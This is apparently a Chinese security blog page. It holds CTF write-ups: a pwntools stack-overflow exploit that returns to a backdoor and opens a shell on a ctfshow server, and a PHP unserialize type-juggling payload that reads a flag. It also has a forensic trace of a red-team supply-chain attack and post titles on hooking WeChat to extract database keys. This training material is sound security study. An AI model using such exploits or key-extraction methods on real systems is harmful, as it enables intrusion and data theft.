   0x804851d <stack+14>    call   system@plt                  <system@plt>

   0x8048522 <stack+19>    add    esp, 0x10
─────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ esp 0xfffe5fcc __ 0x804850f (stack) __ push ebp
01:0004│     0xfffe5fd0 __ 0xa /* '\n' */
02:0008│     0xfffe5fd4 __ 0xfffe5ff0 __ 1
03:000c│     0xfffe5fd8 __ 0
04:0010│     0xfffe5fdc __ 0xf7d51d43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│     0xfffe5fe0 __ 0
06:0018│     0xfffe5fe4 __ 0
07:001c│     0xfffe5fe8 __ 0xf7d6b069 (__new_exitfn+9) __ add ebx, 0x1f7dab

对比一下正常运行时候的堆栈

───────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────
   0x8048505 <pwnme+26>    add    esp, 0x10     ESP => 0xffffd270 (0xffffd260 + 0x10)
   0x8048508 <pwnme+29>    mov    eax, 0        EAX => 0
   0x804850d <pwnme+34>    leave  
 _ 0x804850e <pwnme+35>    ret                                <main+94>
    _
   0x8048586 <main+94>     sub    esp, 0xc      ESP => 0xffffd284 (0xffffd290 - 0xc)
   0x8048589 <main+97>     push   0x804864d
   0x804858e <main+102>    call   puts@plt                    <puts@plt>

   0x8048593 <main+107>    add    esp, 0x10
   0x8048596 <main+110>    mov    eax, 0                       EAX => 0
   0x804859b <main+115>    mov    ecx, dword ptr [ebp - 4]
   0x804859e <main+118>    leave  
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd28c __ 0x8048586 (main+94) __ sub esp, 0xc
01:0004│-008 0xffffd290 __ 0
02:0008│-004 0xffffd294 __ 0xffffd2b0 __ 1
03:000c│ ebp 0xffffd298 __ 0
04:0010│+004 0xffffd29c __ 0xf7d8bd43 (__libc_start_call_main+115) __ add esp, 0x10
05:0014│+008 0xffffd2a0 __ 0
06:0018│+00c 0xffffd2a4 __ 0
07:001c│+010 0xffffd2a8 __ 0xf7da5069 (__new_exitfn+9) __ add ebx, 0x1f7dab

上图

改为远程调试获取远程sh和flag

本地测试成功后，我们用pwntools的remote，和远程端口进行链接，并且发送我们之前的溢出字符串，如下

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
backdoor = 0x0804850F

p=remote("pwn.challenge.ctf.show",28130)

p.recvuntil(b"32bits\n")

payload = b"a"*13 + p32(backdoor)
p.sendline(payload)
p.interactive()

运行后成功通过pwn溢出返回地址，执行后门函数，获取shell，cat flag即可获取flag

┌──(cz__kali)-[~/pwn/stack_dir]
└─$ python3.11 py_stack.py
[+] Opening connection to pwn.challenge.ctf.show on port 28130: Done
[*] Switching to interactive mode

$ ls
FLAG
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
ctfshow{e665b37d-1754-470f-8a01-bcd33cc6b87f}
$

【CTF】_DSBCTF_单身杯-好玩的PHP

Wed, 13 Nov 2024 13:13:42 +0800

PHP 类型比较绕过条件解析

其实题目是通过利用 PHP 类型松散比较和严格比较的特性，一开始我想到md5碰撞去了，导致耽搁了很长时间，不过解完之后看官方wp才发现用NAN和INF也行。

代码逻辑分析

以下是题目中的 PHP 代码：

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d . $this->s . $this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]);
?>

条件分析

条件一：
```
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b))
```
- 这是松散比较 !=，在 PHP 中会进行类型转换。
- 我们需要满足 $d != $s，$d != $b，$s != $b。
条件二：
```
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3))
```
- $dsb = $this->d . $this->s . $this->b;，且 $ctf 的长度也要不超过3字符。
条件三：
```
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb))
```
- 使用严格比较 !==，要求 $dsb 和 $ctf 的值和类型均不相同。
条件四：
```
if (md5($dsb) === md5($this->ctf))
```
- 要求 $dsb 和 $ctf 的 md5 值相等。

利用 PHP 类型特性进行条件绕过

在 PHP 中，!= 会进行类型转换，而 !== 不会转换类型，这意味着我们可以利用不同的类型来绕过条件。具体利用方法如下：

设置值：
- $d = true; （布尔值 true）
- $s = '0'; （字符串 '0'）
- $b = null; （null 值）
- $ctf = 10; （整数 10）
分析值的效果：
- $d = (string)true; => '1'
- $s = (string)'0'; => '0'
- $b = (string)null; => ''（空字符串）
- $dsb = '1' . '0' . '' => '10'
验证各条件：
1. 条件一：松散比较：
  - $d != $s => '1' != '0'，成立。
  - $d != $b => '1' != ''，成立。
  - $s != $b => '0' != ''，成立。
2. 条件二：长度限制：
  - strlen($dsb) = 2 <= 3，成立。
  - strlen($ctf) = 2 <= 3，成立。
3. 条件三：严格不相等：
  - $dsb !== $ctf => '10' !== 10，成立。
4. 条件四：md5 碰撞：
  - md5($dsb) === md5($ctf) => md5('10') === md5(10)，成立。

构造序列化对象

为了通过 URL 传递构造的值，我们需要序列化对象并使用反射来设置私有属性值，具体如下构造即可，用了反射来修改私有变量。

<?php
class ctfshow {
    private $d = '';
    private $s = '';
    private $b = '';
    private $ctf = '';
}

// 创建对象
$object = new ctfshow();

// 使用反射机制设置私有属性的值
$refClass = new ReflectionClass($object);
$properties = ['d' => true, 's' => '0', 'b' => null, 'ctf' => 10];
foreach ($properties as $prop => $value) {
    $property = $refClass->getProperty($prop);
    $property->setAccessible(true);
    $property->setValue($object, $value);
}

// 序列化对象
$serialized = serialize($object);

// 输出序列化字符串
echo "序列化字符串：\n" . $serialized . "\n";

// 将序列化字符串URL编码，构造GET参数
$url_encoded = urlencode($serialized);

echo "访问链接：https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show//?dsbctf=" . $url_encoded . "\n";
?>

最后输出

[root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]# php look.php 
序列化字符串：
O:7:"ctfshow":4:{s:10:"ctfshowd";b:1;s:10:"ctfshows";s:1:"0";s:10:"ctfshowb";N;s:12:"ctfshowctf";i:10;}
访问链接：https://d7be3d64-2226-40ed-bc20-e99e29267ba6.challenge.ctf.show/?dsbctf=O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bb%3A1%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%220%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3BN%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A10%3B%7D
[root@iZbp1ivn9mqkymzqbqnubsZ cz.caozhexxgweb.cn]#

得到CTF值，完成

【护网实战】一次红队供应链攻击的溯源

Fri, 01 Nov 2024 16:38:56 +0800

【溯源实战】一次红队供应链攻击的溯源

这次国家级护网项目最特殊的攻击，供应链攻击，感觉值得记录一下，其中攻击者的反侦察手段很高超，清空了大量有关日志和数据，可惜遇上了精通数据恢复的博主嘿嘿

后期还联系上了那次供应链红队的人，我们的蓝队排查安排了经典案例，他说他的案例也被安排了经典案例

敏感信息太多用x和马赛克来隐藏，可能影响观看，见谅

[TOC]

通过某安全设备，发现攻击者源IP【124.64.xx.xx】攻击招标平台，【60.205.xxx.xx】->跳板机【10.1.84.90，10.1.84.30】，对攻击源IP进行溯源信息如下：

初步溯源

IP：60.205.xxx.xx
域名：puyxxx.com，weilxxxxx.com

IP：124.64.xx.xx
姓名：郭xx
手机：138xxxxxxxx
邮箱：gxxxxx@163.com
域名：www.utpxx.xx
具体溯源路径如下：

通过攻击者攻击ip，发现【域名】与域名注册者【姓名邮箱】

判断攻击影响面

两台内网设备是
IP【10.1.84.30】，地址位置为【北楼8层办公室】为办公网终端
IP【10.1.84.90】，地址位置为【北楼8层办公室】为办公网终端

梳理攻击路径

攻击内网全路径行为如下
【攻击源「124.64.xx.xx」，通过「爆破、弱口令」手法，拿下「有色招采系统测试用户」，系统IP为47.95.xxx.xxx】
【攻击源「60.205.xxx.xx」，猜测通过「爆破、弱口令」手法，拿下「国信创新运营中心登录权限」，系统IP为47.95.xx.x】
【攻击源「60.205.xxx.xx」，通过xx创新运营中心平台进行下发软件更新任务将恶意软件作为更新目标的供应的链打击攻击手法，拿下两台内网终端，系统IP为10.1.84.90、10.1.84.30】
【攻击源「60.205.xxx.xx」->「10.1.84.90、10.1.84.30」，拖取系统cookie等敏感信息】
【攻击源攻击源「60.205.xxx.xx」->「10.1.84.90、10.1.84.30」，开始对内网发起横向】

攻击路径详细证明如下：
【攻击源「124.64.xx.xxx」，通过「弱口令」手法，拿下「xx招采系统测试用户」，系统IP为47.95.xxx.xxx】，相关截图如下：

发现四川成都的ip有过异常报错事件，并且使用safari浏览器(apple)，一般国企是不会用mac的

发现系统内部有test6定时任务询问相关软件运营表示未设置，查看日志表示攻击者使用ip【124.64.23.244】创建的计划任务

上被控机分析

根据上面的信息，我们重新梳理一波攻击者的攻击路径

【攻击源「60.205.xxx.xx」，推测通过「爆破、弱口令」手法，拿下「国信创新运营中心登录权限」，系统IP为47.95.xx.x】相关描述如下：
时间【2022/7/29 08:43】开始，国贸公司员工发现软件需要更新。也就是受到供应链攻击的第一时间。恶意软件下发者为供应链上游，推测攻击者通过「爆破、弱口令」手法，拿下「xx创新运营中心登录权限」。
【攻击源「60.205.xxx.xx」，通过xx创新运营中心平台进行下发恶意软件供应的链打击攻击手法，拿下两台内网终端，系统IP为10.1.84.90、10.1.84.30】相关截图如下：

攻击者触发的更新公告:

内网蜜罐捕获到内网攻击流量

找出攻击者被删掉的尾巴-数据恢复手段

启动抓包软件分析，发现客户端启动时会请求xx创新运营中心服务器的最新版本接口。

打开客户端日志，未发现有特殊的日志
通过winhex电子取证软件打开，发现一处被删除的文件日志的文件记录表项

跳转到目录表项的指定扇区，尝试导出删除文件后发现是7月29日本次更新的log

将被删除的日志恢复
分析本地客户端更新日志，发现在【2022/7/29 15:57】更新了版本信息。但是和供应方沟通，表示并无更新，所以本次更新行为属于供应链打击。

由于攻击者尾巴收拾的很干净，于是直接通过数据恢复手段继续挖掘跟新包
搜索发现7月29日有更新并且文件被删除，并且文件指针指向空地址

继续通过winhex分析，向上搜索4D5A的MZ文件，发现开头的疑似exe文件，大致推断是删除exe时重写写入新的exe覆盖了原有的NTFS $MFT元文件中的文件记录表指针

尝试恢复此exe文件后发现是恶意文件，并有回连地址【60.205.xxx.xx】
到此就抓住了攻击者企图删除的所有文件

继续挖掘攻击者在被控机器上的操作

【攻击源「60.205.179.97」->「10.1.84.90、10.1.84.30」，拖取系统cookie等敏感信息】
在【07月29日17:27:19-07月29日17:27:38】期间拖取浏览器cookie

发现xxx.xxxx.com.cn与www.xxxx.com.cn的cookie被窃取

在跳板机【10.1.84.90、10.1.84.30】发现浏览器本地数据库被拷贝到，拖取系统cookie同一目录下，应该是用了某种工具

分析后发现攻击者拿取到的是浏览器下载文件列表，浏览记录，账密等敏感信息（完了，这回红队拿大分了）

【攻击源攻击源「60.205.179.97」->「10.1.84.90、10.1.84.30」，开始对内网发起横向】
10.1.84.30踩蜜罐+web目录扫描

10.1.84.90踩蜜罐

到这就结束了整个共计还算控制的及时，没被拿到太多的机器

【推荐】昆吾webshell检测

Thu, 11 Jul 2024 14:52:32 +0800

这个项目是我和某先生合作的，在默安的名下开发的检测平台，这里做个推广，有需要可以直接访问下面链接进行使用，支持saas版本和客户端版本：

https://ti.moresec.cn/
https://github.com/kunwu2023/kunwu

CSF

【二进制】weixin4.1.0.18版本 通过hook获取key思路

WCDB / SQLCipher 动态调试抓取 Key 方法整理

1. 前言

2. 抓取 Key 的关键函数链

3. 动态调试断点位置

A. 关键函数：sub_183D75280

B. 下游：sub_183D750F0

C. Codec 创建：sub_1828B11E0

4. 验证交叉点

5. 抓取示例

调试时寄存器快照

内存 dump（32 字节）

格式化输出

基于key获取rawkey

使用 sqlcipher browser 浏览数据库

成功访问

6. 总之

7.最后

【木马分析】vshell木马分析

vshell木马分析

前言

入口

sub_45C函数

起始部分

起始后的栈指针

取得 PEB 与第一模块（重点）

这里简单带一下TEB和PEB的知识（网上都有）

获取函数基指

调用部分

准备回连

上报

加载大马

木马整体流程

【CTF】一些简单的逆向题

【CTF】一些简单的逆向题

第一题 DisassembleMe.exe

第二题 DebugMe.exe

第三题 K1llorSave.exe

【数据恢复】修复KVM快照链与损坏的系统盘

【数据恢复】修复损坏的c盘并且重建引导

前言

修复KVM快照链

接下去查看快照链

接下去开始重建快照链

修复系统盘

进入PE系统

使用diskgenius检查磁盘状态

使用chkdsk

有消息了

结束

【二进制】ELF文件的安全保护机制

1. 输出字段解析

2. 结果详细解读

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

Stripped: No

【二进制】程序的基址

程序的基址

开启了PIE

没有开启PIE

【CTF】pwn栈溢出的入门打卡-ctfshow-pwn02

ctfshow-pwn02 栈溢出

知识回顾

首先讲讲call

再讲讲ret

静态分析

思考

开始

找出覆盖点

覆盖返回地址

改为远程调试获取远程sh和flag

【CTF】_DSBCTF_单身杯-好玩的PHP

PHP 类型比较绕过条件解析

代码逻辑分析

条件分析

利用 PHP 类型特性进行条件绕过

构造序列化对象

【二进制】weixin4.1.0.18版本通过hook获取key思路

A. 关键函数：`sub_183D75280`

B. 下游：`sub_183D750F0`

C. Codec 创建：`sub_1828B11E0`